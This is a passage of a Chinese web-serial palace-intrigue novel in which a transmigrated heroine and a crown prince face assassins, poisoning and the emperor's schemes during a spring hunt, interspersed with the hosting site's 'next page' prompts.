沈慕兮一句都没听进去,满脑子都是慕容景衍昨天抱着她回来,那周围,不就很多人都看到了吗? 她心头狂跳。 只觉得本来就已经抽痛的脑袋,此时痛感又明显了许多。 “那个狠人。” 想到慕容景衍的“敬业拼搏”,再回想自己打算陪完慕容景衍出使北宸解决了自己在北宸的一切之后就带着顾筱筱远走高飞的打算。 沈慕兮突然生出一种自己不是人的错觉... 啊呸。 都是什么跟什么? 合作伙伴给力是好事,她也不能拖后腿才行。 “娘亲不喜欢景叔叔吗?” 顾筱筱怯生生的声音拉回了沈慕兮的思绪。 小孩子的表情不能骗人。 看得出来,顾筱筱很喜欢慕容景衍。 沈慕兮耐着性子解释道,“世上很多事情,不是我们想要怎样就能按照我们所想的去发展,任何事情,你要从别人身上得到好处,都要付出相应的代价或者给出同等价值的东西。 同理,景叔叔这次帮了咱们,以后咱们有机会,也要帮景叔叔,而且,还不能总是麻烦景叔叔。” 不能麻烦,那就是不喜欢跟景叔叔打交道了。 顾筱筱微微垂眸掩去眼底失落,乖乖应是。 “筱筱知道了。” ... 另外一边。 慕容景衍胡乱梳洗一番,总算肯乖乖让心腹太医为他换药了。 “殿下,您手上的伤口深可见骨,若是再不多注意一下,以后容易感染复发,遇上刮风下雨,会落下病根啊。” 老太医苦口婆心地劝说。 “本宫知道了,退下吧。” 慕容景衍若无其事地屏退了老太医。 贺玄一身劲装,利落进了帐,恭敬地递给慕容景衍一份名单。 “殿下,已经排查过了,可疑的人都在这里。” 慕容景衍翻了一下名单,重新阖上。 “刺客的身份?” 贺玄低头,“只知那些刺客手臂上有回疆图腾,应当是回疆死士。” “回疆死士?” 慕容景衍微微皱眉。 贺玄又道,“当初咱们细查苏康的时候,线索也是断在回疆。” 苏康... “若是要重新细查苏康,只怕目标还是在北宸。” “本宫知道了,”慕容景衍淡声吩咐,“将名单上的人提拔上来重新任命。” 贺玄为难开口,“有几个是我们安排在县主府的暗桩,若是一下子全部动了,只怕...” 慕容景衍的脸色顿时阴沉了下去,“县主府的桩子,全拔了,另外,贺月护主不力,回去自己领罚。” 听到贺月要受罚,贺玄脸色微微一僵,很快恢复如常。 “是。” 贺玄退下没多久。 贺鸿回来了。 “殿下。” 这本是贺鸿的帐子,慕容景衍却稳如泰山地端坐在书案的位置上。 得了慕容景衍的首肯,贺鸿才恭敬入帐,在慕容景衍耳边小声耳语了一番。 慕容景衍的脸色骤然大变。 “当真?” 贺鸿一脸凝重,“八九不离十。” 慕容景衍不怒反笑。 “好,当真是好得很。” 原以为,他是螳螂捕蝉黄雀在后。 没想到,黄雀另有其人,他做了那只捕蝉的螳螂。 眼下春猎还未正式开始,各方面的牛鬼蛇神就已经按捺不住了。 春猎为期七天,还不知道会生些什么枝节。 慕容景衍一脸沉思,指腹不由自主地轻捻。 好一会,他才起身离帐,“你去找贺玄,按照贺玄的名单做安排。” 第164章 殿下,要赌一把吗? 得了贺鸿的应是。 慕容景衍才掀帘离开了贺鸿的帐子。 回到自己与沈慕兮的大帐时,他一眼就看到了有气无力地跟自己打招呼的顾筱筱。 “景叔叔。” “你趴在书案上作甚?困了就好好回床歇着。” 慕容景衍上前就要将顾筱筱抱起,被顾筱筱躲过了。 “景叔叔,筱筱长大了,不用再像小孩子一样让您抱着。” 她撅起小嘴抗议。 慕容景衍好笑地挑眉,“怎么,现在是开始嫌弃景叔叔老了?” “景叔叔的手受了伤,应该要好好养伤。” 顾筱筱板起小脸盯着慕容景衍缠着绷带的右手,一本正经地跟慕容景衍说教。 “这会抱了筱筱用了力,回头伤口崩开,痛的还是你的手。” 慕容景衍笑容微微凝滞,很快嘴角的笑意深了几分。 “好好好,景叔叔听你的,都听你的。” 顾筱筱调皮地朝慕容景衍做了个鬼脸,转头就要回去内帐,被慕容景衍叫住了,“你先去贺玄那边玩一会,等会再回来。” “景叔叔是想要跟娘亲商量生小娃娃的事情吗?” 顾筱筱一脸惊喜地看着慕容景衍。 慕容景衍尴尬地咳嗽了两声。 “没有的事,小孩子可别乱说话。” 顾筱筱走到慕容景衍身前,示意慕容景衍蹲下身子,随后凑到慕容景衍耳边开口,“景叔叔,娘亲现在还不是十分喜欢你,你要加油啦。” 说完,她一溜烟似的跑了。 红豆绿萝两人连忙跟上。 慕容景衍与沈慕兮的帐子极大。 而且用的是挡风帘做的隔间,所以,沈慕兮并没有听到顾筱筱跟慕容景衍的交谈。 事实上,在顾筱筱说在外面玩的时候,她已经在昏昏欲睡。 直到慕容景衍走到帘前,她才猛然惊醒。 “沈姑娘,本宫可以进来吗?” 沈慕兮看了一眼自己如今还躺着,正想拒绝,又听到慕容景衍道,“有事相商。” 她急忙将自己裹成一团厚厚的虫茧。 “请进。” 慕容景衍打帘而进。 孤男寡女共处一室本就气氛微妙,如今帐中灯光昏黄,更是让两人的独处显得格外暧昧。 回想起顾筱筱与自己提及的那句“加油”,慕容景衍的耳根没由来发烫。 还是沈慕兮打破了两人之间的尴尬沉默。 “殿下,可是有什么事吗?” 慕容景衍尴尬的干咳一声,落座在沈慕兮身边的小矮凳上。 那个小矮凳是刚才顾筱筱在床边玩的时候坐着的,后来顾筱筱出去了外帐,红豆绿萝在沈慕兮的坚持下寸步不离,所以小矮凳还未来得及挪走。 人高马大的慕容景衍因为小矮凳缩成小小的一团,看上去格外滑稽。 沈慕兮忍不住想要笑,被慕容景衍后面问出来的话打断了。 “昨晚的刺客是回疆人,本宫此次想要跟你确认一下,你可有得罪过一些回疆那边的异族人?” 异族... 那就是不论血脉还是五官,都跟他们有着极大的不同。 沈慕兮嘴角硬是拉成了一条直线。 她一脸凝重地摇头,“在北宸之时,我几乎都留在荣郡王府,而荣郡王府内的人,上至主子下至丫鬟婆子杂役小厮,基本都是北宸人...” 说到一半,她的话茬顿住了,“不,也有一个可能。” 她倏地抬眸看向慕容景衍。 慕容景衍薄唇微动,几乎与沈慕兮同时喊出了一个名字,“苏康。” 慕容景衍冷笑,“我原以为,苏康只是北宸前朝的余孽,如今看来,倒是一环扣一环,一手留一手。” 沈慕兮早已知道苏康不简单,只是没想到,问题一下子变得这么复杂。 不管苏康是北宸的前朝余孽还是回疆人,只要手伸进来南渊,一切事情都会变得极其复杂。 事关朝堂江山,沈慕兮没有大志向,只想好好跟女儿安度余生。 在这种情况下,她也只能听从慕容景衍的意见。 “殿下打算如何?” 慕容景衍停顿了一下,似是在思索,很快,他就将自己的内心的真实想法说了出来,“回疆向来对我南渊虎视眈眈,当初太祖就是差点死在回疆王手上,所以这些年南渊一直都在严防死守不允许商人与回疆那边通商。 可近两年,因为北宸的缘故,南渊与回疆之间的界限,一直很模糊。 如今在春猎竟然来了回疆人,对你们母女二人动手,只怕也只是一个警告,本宫在想...” “殿下是担心,皇上如今作壁上观,若是在这种情况下发现端倪,会因为自己的一己私欲,宁愿铤而走险与回疆王合作,也要掰倒你,将你手上的权柄夺回去?” 慕容景衍抿唇。 “不管慕容明坤做什么事情,本宫的位置,都要来得名正言顺。” 如今明面上看来,慕容景衍的太子之位形同虚设,若是春猎之时他能利落反击,就说明太子从没松懈,时刻囤备私兵准备谋反。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!可若是不反击,他就跟等死无异,一个没用的太子,死了还是得遗臭万年。 不管怎么选,慕容景衍都落不得好。 慕容明坤很明显也会想到这一点,所以才会将这次春猎的布防安排交给他手上。 御林军,都是慕容明坤的人。 即使反了慕容景衍,也会被夸一声忠君爱国。 两头无路,必要时候,也只能硬刚。 “未来几天春猎,只怕也不会太平。” 慕容景衍将眼下的情况如实告知沈慕兮。 做不了缩头乌龟,沈慕兮脸上神色同样不好看,“与其这样,那咱们倒不如简单粗暴一点。” “如何粗暴?” “当一团绳结已经乱得连线头都抽不出来的时候,咱们要做的,自然是快刀斩乱麻。” 快刀斩乱麻? 慕容景衍豁然开朗。 “原来如此,多谢沈姑娘。” 眼看慕容景衍要离开,沈慕兮连忙叫住了他,“殿下请留步。” 这傻子,该不会真的趁热打铁直接当晚要了慕容明坤的命吧? 慕容景衍不明所以地停下来看向她。 “殿下打算直接让人动手?” 不是吗? 慕容景衍想要反问,但是看到沈慕兮眼底明晃晃写着“你是蠢货”几个大字。 到嘴边的话变成了,“愿闻其详。” 沈慕兮挪动了一下身子,确定自己起不来,最终还是放弃拱起身子的不雅动作。 朝慕容景衍吩咐道,“我的妆奁,有一个小抽屉,劳烦殿下帮我拿过来。” 慕容景衍一眼就看到了那个带着精美铜环的雕花小抽屉,整屉递到了沈慕兮面前。 沈慕兮从被茧中抽出手,在小抽屉那一大堆小瓶子内取出一个绿色的瓷瓶,递给慕容景衍。 眉梢轻挑,“殿下,要赌一把吗?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第165章 南渊帝的承诺 当山不转水不转的时候,人要是再不动,那就只有死路一条。 与其等死,还不如孤注一掷。 慕容景衍接过了她手上的瓷瓶,不带半分犹豫。 “本宫都是赌过来的。” ... 翌日,天还未亮。 山间没有半点风。 沈慕兮睡得昏昏沉沉。 就听到外头侍卫要寻慕容景衍。 外头响动消失没多久,又听到一个声音在门帘后响起,“劳烦沈姑娘,跟咱家走一趟。” 声音尖细,一听就是宫中内侍。 沈慕兮目光微沉,看了红豆一眼。 后者走到帘子的另一面,“我家姑娘身上还有伤,不知公公想要让我家姑娘去哪里?” 红豆说话间,沈慕兮已经在另外一名小丫鬟的搀扶下起身洗漱。 红豆的直白问话,落在传话内侍的耳中,显得极为无礼,传话内侍眼角眉梢都是对沈慕兮的轻视。 可碍于上面的吩咐,还是恭敬道,“是皇后娘娘有请,娘娘想着沈姑娘与殿下有婚约这么久都能好好见一面,所以想趁着这次春猎,机会难得,与姑娘见一面,说几句体己话。” 这么久了,才想着说体己话? 而且... 还是在她伤得几乎要下不来床的时候。 这是一国之母做得出来的事情吗? 这种事情,落在旁人耳中会不会贻笑大方,沈慕兮不知道。 反正她自己挺想笑的。 看来,都在争分夺秒呢。 “劳公公通传,我现在就下床,皇后娘娘盛邀,臣女即使是爬也要爬过去。” 她的话一出口,伺候的小丫鬟眉心微微一压,似是很不赞同。 “姑娘...” 不管心中对皇后娘娘有多不恭敬,态度也不能摆在这么明面上。 这跟找死有什么区别? 红豆同样担忧地看向沈慕兮,“小姐...” 沈慕兮后背有一条又深又长的伤口。 只要稍微动一下,都是要命的疼。 沈慕兮脸色惨白地看向红豆,“无妨。” 昨天夜里她与慕容景衍促膝长谈,早已猜到今天会走这么一遭。 这是在变相地给她做服从性测试呢。 红豆本来还想再说些其他,可是看到自家小姐眼底的讥诮,最终还是什么都没说出口。 因着沈慕兮的伤势着实严重,后来还是传话内侍亲自回去行宫向皇后请示,用软轿将沈慕兮抬去行宫。 这一来一回,又折腾了一两个时辰。 等沈慕兮到达行宫的时候,已经是正午时分。 天色阴沉沉的,连空气里都带着一股潮湿。 承德殿,是姜皇后与南渊帝在行宫中的住处。 姜皇后本来只是慕容明坤的贵妃,因明太师与安平侯跟沈府三府内斗混乱,朝堂一度长期剑拔弩张,最后明太师阖府被一撸到底,最终被罢黜回去浔阳老家。 安平侯府更是因为杜衡被算计,冲动提剑进宫而被削去侯府爵位贬为平民。 沈府看似无辜,实际却也脱不了干系,沈钏海被罚俸闭门一年不得出。 一场轰轰烈烈的权位争夺,姜太傅成了明面上最大的赢家。 慕容明坤空置多年的后位,最终让姜贵妃坐了上去。 沈慕兮坐在软轿之中被抬进承德殿,引来了不少宫娥宫妃若有似无的围观。 她的目光扫了周围一圈。 让她意外的是,这里的妃子贵人们松弛感十足,一个比一个花枝招展,有些甚至连衣裳都是半透明的。 与小东宫的森严完全不同。 再看看周围伺候的内侍宫女,没有规劝,个个都泰若自然地伺候各自的主子,仿佛妃子贵人们这样衣衫不整地出来已是常事。 沈慕兮压根不用想就能猜到,平日里,慕容明坤在宫中是多么荒唐。 到了承乾殿,姜皇后雍容大气地坐在主位,显然已是久候多时。 沈慕兮在红豆的搀扶下,颤颤巍巍地朝姜皇后行礼。 “臣女沈曦,见过皇后娘娘。” “如今还在行宫,这些繁文缛节就免了吧。” 她嘴上这么说着,身边的宫娥内侍却没有一个上前扶起沈慕兮,任由沈慕兮因为后背疼痛而冷汗直流。 就在沈慕兮纠结要不要装晕离开之时,上首总算传来了姜皇后充满诧异的声音。 “沈姑娘怎么还跪在这里?来人,将沈姑娘扶起来,赐座。” 站在姜皇后身边的大宫女石榴,这才上前与红豆一起扶起沈慕兮。 “谢娘娘。”沈慕兮努力让自己提起精神,奈何因为受伤还未痊愈,她的声音有气无力。 姜皇后眼底闪过一抹得色,语气却十分关切,“昨日听闻你因为救晓晓那个孩子受了重伤,如今身体可好些了?” 她都快下不来床了,好在哪? 这不是睁眼问瞎话吗? 沈慕兮心中暗暗吐槽。 “多谢娘娘关心,已经好多了。” 她的话音刚落,一声“皇上驾到”的报唱紧随而来。 沈慕兮好不容易坐下,又要立刻拘谨地跪在地上等待慕容明坤到来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这么一动一静,她的伤势又严重了些,她甚至都能感觉到后背的伤口崩开,温热的鲜血在她的后背流淌。 一阵带着湿气的潮风涌来,沈慕兮的眼角余光瞥到了一角明黄色的龙袍。 “臣女沈曦,见过皇上。” “出门在外,这些繁文缛节就免了。” 上首男人的声音带了几分中气不足。 “抬起头来,让朕看看。” 沈慕兮依言抬头。 慕容明坤眯起浑浊的眼睛打量沈慕兮的同时,沈慕兮同样也在不动声色地打量慕容明坤。 眼底发黑,目光浑浊且带着红光。 明显就是纵欲过度的迹象。 就沈慕兮看到的而言。 慕容景衍的模样应该长得比较像先皇后。 也难怪慕容明坤对慕容景衍鼻子不是鼻子,眼睛不是眼睛。 慕容明坤心情似乎十分好,对沈慕兮连连满意地点头,“果然是姿容出众。” 姜皇后笑着应和道,“若是能得陛下青睐,也算是她的福分。” 沈慕兮怎么听怎么觉得不对劲。 什么叫能得陛下青睐是她的福分? 这话怎么像是老色胚盯上良家妇女似的? 不等她细细琢磨,慕容明坤借口国事繁忙,离开了承德殿。 姜皇后脸上的笑意淡了几分。 沈慕兮明显感觉到上首来了威压,她抿唇沉默。 “刚才的话,你都听见了?”姜皇后不急不缓地抿了一口暖茶。 艳红的蔻丹划过描金薄胎瓷碗,看上去像染了鲜血一样明艳。 那样的一双手,在后宫之中,到底沾了多少鲜血,只怕只有她知道了。 “臣女愚笨,还望娘娘赐教。” “赐教不敢当。” 姜皇后似笑非笑地看着沈慕兮,“本宫看你也是个聪明的,今日陛下也算是给了你一个承诺,若是再揣着明白装糊涂...” 后面的音节,姜皇后拉得极长,眼神若有似无地撇过沈慕兮,看到后者跪在地上一动不动。 她冷冷一笑,“便是本宫跟皇上,也是护不住你。” 沈慕兮顿时脸色大变,“还望娘娘赐教。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第166章 真正的权衡之道 她的声音听上去,快要哭了。 姜皇后十分满意地唤了一声身旁的大宫女。 “石榴。” 一枚通体雪白,顶部嵌有翠玉的玉牌放到了沈慕兮跟前。 绿头牌... 那是宫中选秀之时,圣上留下来的东西。 沈慕兮的瞳孔骤缩。 原来,刚才她的感觉并非错觉。 慕容明坤真的是对她动了心思... 可是,为什么? 沈慕兮的双拳微微紧握。 又听到姜皇后开口道,“此次本宫让你前来,主要是陛下想要你的一个态度。 沈府能够顺利变回县主府,你当真以为单单只有太子的运作就可以了?” 原来... 沈慕兮目光微凝。 “在这里,不必拘谨,你只管畅所欲言。” 姜皇后继续诱惑地开口。 沈慕兮迟疑片刻,终究还是收下了石榴递到她面前的牌子。 “多谢皇后娘娘恩典。” 姜皇后看向沈慕兮手上牌子的目光骤然变冷。 语气一如刚才一般温和,“你倒是个识时务的,退下吧。” 沈慕兮谢恩后,终于在红豆的搀扶下离开承德殿。 本来已经离开了的慕容明坤,在承德殿偏殿出来。 看着沈慕兮离开的背影,眼底闪过一抹暗色。 姜皇后不知道什么时候走到他身边,“陛下难道就不怕此女将今日的事情告诉太子?” “这个沈氏女能够对太子的外室女这么上心,朕还担心她不会告诉太子了。” 慕容明坤冷笑。 ... 回去营帐的路上,沈慕兮紧紧握住手上玉牌,后背早已被冷汗浸湿。 早已听说天威难犯,纵然慕容明坤纵情声色被掏空了身体,威压也不是她能够抵挡的... 姜皇后跟慕容明坤都不知道,其实她早就猜到了慕容明坤根本就没有离开。 毕竟,若是慕容明坤真的如他面上看上去那么荒唐,又怎么可能在南渊朝政把持这么多年? 仔细一想。 下面的朝臣斗得天昏地暗,个个都想揽权,最后上面还压着慕容景衍作为靶子。 这才是真正的权衡之道。 红豆一脸担忧地看着沈慕兮,“小姐,现在咱们应该怎么办?这个牌子,需要告诉太子殿下吗?” 沈慕兮摩挲了一下手上的绿头牌。 慕容明坤的意思再明显不过——她若是跟他合作,反水慕容景衍,他许她荣华富贵。 “事情肯定要告诉慕容景衍,只是...” 沈慕兮眯眼沉默了片刻,才缓缓开口,“不能让我们亲自告诉他。” 若是她的感觉没错,慕容明坤这是要试探她。 万一她亲口告诉慕容景衍这个事情,搞不好还会让慕容景衍着道。 考验她跟慕容景衍默契的时候到了。 沈慕兮被传召进去承德殿且回来以后入帐不出的消息很快传到了慕容景衍耳中。 尤其是消息有说沈慕兮接了慕容明坤赐下的绿头牌时,贺鸿率先坐不住了。 “殿下,那个老畜生根本不是人,他明知道...” 贺玄用力咳嗽了一声,打住了贺鸿往后说下去的话。 两人目光齐刷刷地扫向慕容景衍。 后者脸色不算太好看,却也没有任何愤怒神色。 “殿下...” 贺鸿上前还想说些什么,被慕容景衍抬手打断了。 “本宫相信沈氏。” 肯定有力的六个字,像是一颗定心丸。 稳住了自己摇摆不定的一颗心。 “若是沈氏当真是那种贪图富贵的人,当初就不可能给本宫赠药护住本宫性命。” 若非他当初不放心,后来又遣人去细查,他根本不知道,当初沈慕兮给他那个小小的瓷瓶,竟是万金难求的无价之宝。 放在寻常人身上,一颗就已经是极大的机缘。 他不是不知好歹的人。 慕容明坤很明显就是想要利用人与人之间的疑心离间他们。 沈慕兮越是沉默,他便越要理智。 “好了,你们也不用多做猜测,更不许对她不利,按照计划行事,该如何,便如何。” 说完,他利落离开了贺鸿的帐篷。 两天后。 艳阳高照。 春猎如期而至。 沈慕兮身上带伤,所以得到了特许,可以在软轿之上远远观看。 慕容明坤站在高台正中央,站在右边是姜皇后,左边下首第一个是慕容景衍。 一片祥和安宁。 几名士兵抬着用红布盖住的铁笼走到台下。 在号角响起之时,掀开红布,打开铁笼。 一头健壮的雄鹿“蹭”地从笼中跑了出来,一路飞奔。 慕容明坤迈开四方步,接过内侍捧过来的弓箭,拉弓搭箭。 随着箭矢离弦的瞬间,雄鹿哀鸣一声,重重倒地。 内侍报唱—— “春猎,开始。” 文臣武将高呼万岁,随后纷纷翻身上马。 沈慕兮没有见过万马奔腾的现状,可是看到百马奔腾扬起的灰尘,亦是觉得极为壮观。 她的目光不由自地落向慕容景衍的方向。 慕容景衍的位置不知道什么时候空了。 她微微蹙眉。 就在这时,从天而降几道剑光。 数十个蒙面黑衣人从四面八方涌来,目标直指高台之上的慕容明坤。 守在四周的御林军迅速抽刀。 “快,有刺客,保护陛下!!” 刺杀来得突然。 但凡有些能力的武将都已经出去狩猎,剩下的基本都是看戏的文臣以及武将官眷。 有些官眷闪躲不及,生生被推出去死在刺客的刀上。 一时之间,乱成一团。 “快,护驾,护驾!!” “太子殿下呢?” “殿下在哪?” “太子为了救驾受伤了!!” 一阵兵荒马乱。 刺客只死了十多人,剩下的全数逃脱。 沈慕兮在慌乱之中被人推了一把,有红豆护着,侥幸捡回了一条性命。 还没来得及喘上一口气,就传来了几个老太医的声音。 “殿下怎么了?” “殿下是中毒了。” “陛下呢?” “陛下也中毒了。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第167章 既然要断,就把后顾之忧全数断掉 行宫中。 本该出现在太子营帐中的沈慕兮被稀里糊涂地带到了承德殿。 太医神色凝重地为慕容明坤号脉。 姜皇后在一旁捏紧帕子。 纵然她已经很努力维持自己的端庄大气,可微微发颤的双手还是出卖了她此时的心情。 娇娇柔柔的嫔妃们哭做一团,被姜皇后全数安排人送回去了各自的别苑。 整个承乾殿落针可闻。 直到老太医孙其正收回搭在慕容明坤脉腕上的手。 “如何了?” “此乃回疆奇毒,诡谲霸道....” 姜皇后不耐烦地打断了孙其正的话,“所以你能不能解?” 孙其正立刻跪倒在地,“求皇后娘娘恕罪。” 意思不言而喻。 姜皇后将目光落在沈慕兮身上,“沈家小姐,你如何看?” 这时候,在场的太医才发现沈慕兮的存在。 不由得面面相觑。 似是想不明白,姜皇后为何留下沈慕兮,又突然点名沈慕兮。 沈慕兮何尝不是一样的疑惑? 自从受伤以来,她一直都没有好好休息过,纵然手脚的拉伤有所缓和,可后背的伤势却有了加重的迹象。 这一趟春猎,才刚开始,她就已经快要没了半条命。 偏偏,姜皇后却像是不打算放过她似的,非要将她拖下水。 “本宫听闻,沈家小姐略懂岐黄,若是此番能救下皇上,皇上醒来,自当重重有赏。” 沈慕兮虚弱苦笑,“并非臣女不愿,而是臣女如今亦是自身难保,且,连太医们都束手无策,臣女不过只是略懂皮毛,又怎敢在太医们面前班门弄斧?” 总之,死道友不死贫道。 姜皇后要拉她下水让她表忠心,她就把太医院的太医都拖上。 谁都别想好。 慕容明坤常年寻仙问道,身子早已被掏空,即使没有这次刺杀,按照他这种招人恨的处事方式,中毒也是迟早的事情。 “所以,”姜皇后的眼眸不悦地眯起,“你这是连看都不看一眼,就断定陛下的毒无解?” 上位者的威压骤然压过来,沈慕兮脸色微变,连声音都打着颤,“求娘娘恕罪。” 她轻轻捏了一下红豆的手,后者摇摇摆摆地扶着她跪下。 在旁人看来,她此时已经虚弱得几乎要晕过去。 眼看一旁的孙其正已经看不下去想要开口劝说,姜皇后冷着脸朝沈慕兮扬手,“行了,退下吧。” 是夜。 慕容明坤还未醒来,春猎提前结束。 一直到沈慕兮刚被安置回去小东宫,慕容明坤与慕容景衍父子二人依旧没有醒来的迹象。 日子一晃过去了三天。 沈慕兮已经可以下地。 宫里已经传来了慕容明坤清醒的消息,可是慕容景衍依旧昏迷。 整个小东宫都萦绕着一种让人窒息的压迫感。 贺鸿担忧地看向正在为慕容景衍号脉的沈慕兮。 “沈姑娘,殿下从中毒到现在,已经吐了三次血了,再这样下去...” “先不急。” 沈慕兮打断了贺玄焦急的声音。 眉头从搭上慕容景衍的脉腕以后,就一直都是处于一种松了又紧,紧了又松的状态。 贺鸿的心都要吊起来了。 二人甚至连眼睛都不敢眨,生怕眨眼带来的响动会影响沈慕兮号脉的状态。 就在他默数呼吸到第一百二十六息的时候。 沈慕兮总算有了新的表情。 只见她一脸从容地收回搭在慕容景衍脉腕上的手,缓缓呼出一口浊气,在转身看向他。 “殿下这次也算是因祸得福了。” 抬头对上贺鸿疑惑的目光,沈慕兮解释道,“之前殿下体内一直有寒毒,后来依靠我的药丸才能勉强压制,如今这个‘回疆奇毒’,看似让殿下凶险万分,倒是阴差阳错将他之前体内的寒毒全数拔除。” 贺鸿闻言,神色微微一怔,继而脸上皆被狂喜替代。 “姑娘的意思是...” 沈慕兮嘴角缓缓勾起,“殿下已经没事了,现在昏迷,是因为之前两种毒药在他体内同时发作,对他身体的损害较大,所幸,淤血及时吐出,殿下如今只是暂时还在昏迷之中,过些时日,就会醒来。” 得了沈慕兮的保证,贺鸿总算彻底放了心。 这时,他才注意到沈慕兮的脸色依旧十分苍白。 伤重才能下床就立刻前来给慕容景衍号脉看病,心下一阵感动。 “姑娘如今的身体还未痊愈,却还要为殿下费心,属下实在是...” “沈姑娘,宫中来人了。” 贺玄急切的声音打断了贺鸿的话。 贺鸿当即像是被踩到尾巴的猫一样飞扑到贺玄面前,“宫里来人作甚?” 贺玄没有理会贺鸿,而是一脸凝重地看向沈慕兮,“姑娘,来者不善。” 沈慕兮抿唇,“也有可能是试探,你们看好府上的一切,等我回来。” 看着沈慕兮纤细瘦弱的背影。 贺鸿显露出了怪异的神色,“总感觉,现在是沈姑娘在保护小东宫那个,这种感觉,还真是...” 这章没有结束,请点击下一页继续阅读!“窝囊。”贺玄苦笑着接过了贺鸿的话茬。 ... 皇宫。 承乾殿,是慕容明坤的寝宫。 纵然早已知道慕容明坤行事荒唐,可当沈慕兮被内侍直接带到慕容明坤寝宫的那一刻,她还是忍不住暗骂一声昏君。 她从现代来到这个世界,满打满算也有八年。 思维已经开始逐渐趋向被同化。 在这个皇权至上的朝代,一个皇帝先是给自己未来的儿媳妇留了绿头牌,又将未来儿媳妇传召到自己的寝宫中,意图简直不要太明显。 寝殿中。 隔着明黄色的缎纹烟罗纱帐,沈慕兮清楚地看到了半靠在龙床上、衣着单薄的精瘦身影。 “臣女沈曦,见过陛下,陛下万岁万岁万万岁。” 她跪在地上恭敬朝慕容明坤行礼。 空气里弥漫着甜香的气息。 她眼底闪过一抹冷意。 纱帐后,传来一阵低沉轻笑。 “朕还以为,春猎你会在朕面前露露脸,没想到,你倒是能沉得住气。” 沈慕兮垂首,指甲深深陷入掌心,语气谦顺,“陛下洪福齐天,定能够逢凶化吉。” 她故意避重就轻,试图绕过这个话题。 慕容明坤却看出了她的意图,大有逼迫她站队的意思。 “如今太子昏迷,是一个很好的机会,你是聪明人,相信其他的话,不需要朕多言,你定能明白。” 顿了顿,慕容明坤又道,“宫氏当年病逝,朕心甚憾。” 没头没尾的一句话,沈慕兮却明白了慕容明坤的意思。 宫氏当年的死,有隐情。 仅仅只是犹豫片刻,沈慕兮便再次朝慕容明坤的方向拜倒,“臣女自当为陛下肝脑涂地,万死不辞。” 纱帐之后传来一阵男人似是逗弄猎物一般的低沉笑声,“朕倒是想好好看看你如何为朕万死不辞。” ... 回程路上,沈慕兮一路心事重重。 脑子里回荡的,是她获救醒过来的那天,她与慕容景衍促膝长谈的景象—— 在听到慕容景衍提及宫氏死时,慕容明坤顺利将宫家军收拢并入羽林卫那一刻,沈慕兮的心头一阵阵发虚。 “所以,你是怀疑,皇上当初其实是知道沈府对我母亲所作的一切,连沈府吞并县主府,也是他默许的?” 利用沈府放在明面上当靶子,实际上,却是为了更好地操控宫家军,最后再神不知鬼不觉地清洗宫家军里面的一些“硬茬”。 如今的宫家军早已名存实亡。 所以才会导致沈曦的孤立无援。 肩膀传来收紧的力度。 沈慕兮回神。 红豆正心疼地给她系好披风带子。 “小姐,您的伤还未好全就这般奔波,这以后若是落下病根,可如何是好?” 沈慕兮反手握住红豆的手,目光坚定地开口,“红豆,等会回去小东宫之后,你帮我办件事。” 红豆显然被沈慕兮突如其来的凝重神色吓到了。 “小姐?” 沈慕兮覆唇在红豆耳边低语一阵。 红豆的表情从最开始的讶异震惊变成了难以置信。 “小姐,咱们没必要杀敌一千,自损八百。”她心疼地劝说。 沈慕兮目光灼灼,“既然要断,那就把后顾之忧全都断掉。” 红豆不再说话。 ... 翌日。 坊间传言沸沸扬扬。 都说沈慕兮命带刑克。 先是刑克了家中老人,让沈府变得四分五裂。 如今还克上了与她有婚约的太子,害得太子春猎遇刺昏迷不醒。 命硬若此,理应常伴青灯古佛,而非继续留在小东宫害人害己。 绿萝很快就查到了流言正是县主府沈家人传出来的,当即义愤填膺地为沈慕兮鸣不平,“小姐,分明就是沈府的人贪心不足自食其果,他们哪来的脸子说你?不行,奴婢咽不下这口气。” 红豆连忙拉住了想要往外跑的绿萝。 “没看到小姐现在还安安静静在这里吗?你凑什么热闹?” 绿萝看着像没事人一样伏案写写画画的沈慕兮,急得直跺脚,“小姐?” 都被人欺负上门了,小姐怎么可以这样云淡风轻? 似是看穿了绿萝的想法,沈慕兮搁下手中毛笔。 “急什么?等会有人比你还急。” 似是印证她的话,一名小丫鬟急匆匆小跑到门外禀报。 “沈姑娘,沈府那边的人在小东宫外哭哭啼啼,说是要求您回去县主府。” 小东宫外。 沈柔正在哭哭啼啼地朝门内控诉。 “姐姐,我知道你对我沈府颇有微词,但是也不能因此而对祖母他们不闻不问啊...如今父亲跟祖母昏迷不醒,你到底想要如何才能肯回去救救父亲跟祖母?” 自古以来,美人垂泪向来惹人怜爱。 尤其是落魄美人,个个都想做救美的英雄。 沈柔一哭,许许多多围观的好事者闻着味就来了。 “天爷,我听到了什么?沈家大小姐对自己的祖母父亲不闻不问?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“如此不孝,畜生行为,她配当一朝太子妃吗?” 眼看围观好事者越说越离谱,贺玄连忙带人前来将涌至门前的好事者拦下。 沈柔目光骤然变冷,正要开口,一个绵软的女声吸引了所有人的注意力。 “一大早的,都围在这里做什么?” 小东宫的人纷纷给说话的人让开了路。 看清来人是沈慕兮。 沈柔一噎。 似是没想到沈慕兮居然胆子这么大,被骂这样,还敢在这么多人面前出现。 觉察到周围气氛随着沈慕兮的出现而变得微妙,她的眼眶又瞬间变得通红,“姐姐,我求你,纵然我们之前有过误会,可是父亲跟祖母是无辜的,你就不能发发善心,回去府上救救他们?” 外头围观的百姓纷纷开口—— “是啊,是啊,说到底,这个沈家姑娘现在还未成为太子妃,如今就这般铁石心肠,往后该如何?” “她还是要嫁给太子殿下的,以后若是这种人做了一国之母,还如何做天下女子的表率?” “她怎么配呢?” 沈慕兮对于周围的动静置若罔闻,看向沈柔的目光却像是淬了冰一样,“你到底想要如何?” 刚才她可没错过沈柔嘴角划过那抹得逞的笑意。 沈柔嘴角迅速勾起,又拉平。 “刚才我已经说了,想让你回府救救父亲跟祖母。” “就这么简单?” 沈慕兮的声音连同她的语气一样冷淡平板。 那平淡的目光,看的沈柔心里直打鼓。 原以为,沈曦会很激动地跟她对峙,这样她才好拉出后面的话题。 